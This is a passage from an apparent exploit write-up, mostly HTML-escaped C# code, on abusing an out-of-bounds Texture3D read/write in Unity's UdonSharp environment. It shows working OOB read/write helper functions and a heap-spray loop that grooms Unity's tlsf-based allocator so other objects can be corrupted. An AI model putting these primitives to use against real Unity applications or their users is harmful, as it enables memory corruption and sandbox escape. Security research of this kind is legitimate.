&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; oob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; UdonSharp doesn&amp;#39;t want to compile exceptions, so this will have to do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;LogError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;$&amp;quot;read32Rel: Offset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; must be aligned!!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x41414141&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    var&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; pixel&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; oob&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;GetPixel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;pixel&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 24&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;pixel&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;pixel&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;pixel&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;LogError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;$&amp;quot;write32Rel: Offset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; must be aligned!!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    Color&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; pixel&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;, ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;, ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;, ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 24&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    oob&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetPixel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; coord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; pixel&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In order to modify another object using the OOB texture, it has to be allocated right after its texture data on the heap.&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully, Unity uses a custom heap allocator based on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mattconte&#x2F;tlsf&quot;&gt;tlsf&lt;&#x2F;a&gt; that&#x27;s very easy to manipulate. All I have to do is allocate a bunch of similarly sized objects to fill the free memory holes in the heap before creating the main OOB texture, which should place the its allocation at the end. Then, any new allocations should be accessible from the OOB read&#x2F;write primitive.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;16384&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Try to fill any holes in the heap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Better to have the spray objects be the exactly the same size as the OOB texture&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; These are stored in an array to prevent them from being unexpectedly garbage collected&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray1&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    var&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; temp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TextureFormat&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;RGBA32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    spray1&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; temp&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Set up OOB read&#x2F;write texture&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;oob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TextureFormat&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;RGBA32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;oob texture created successfully&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
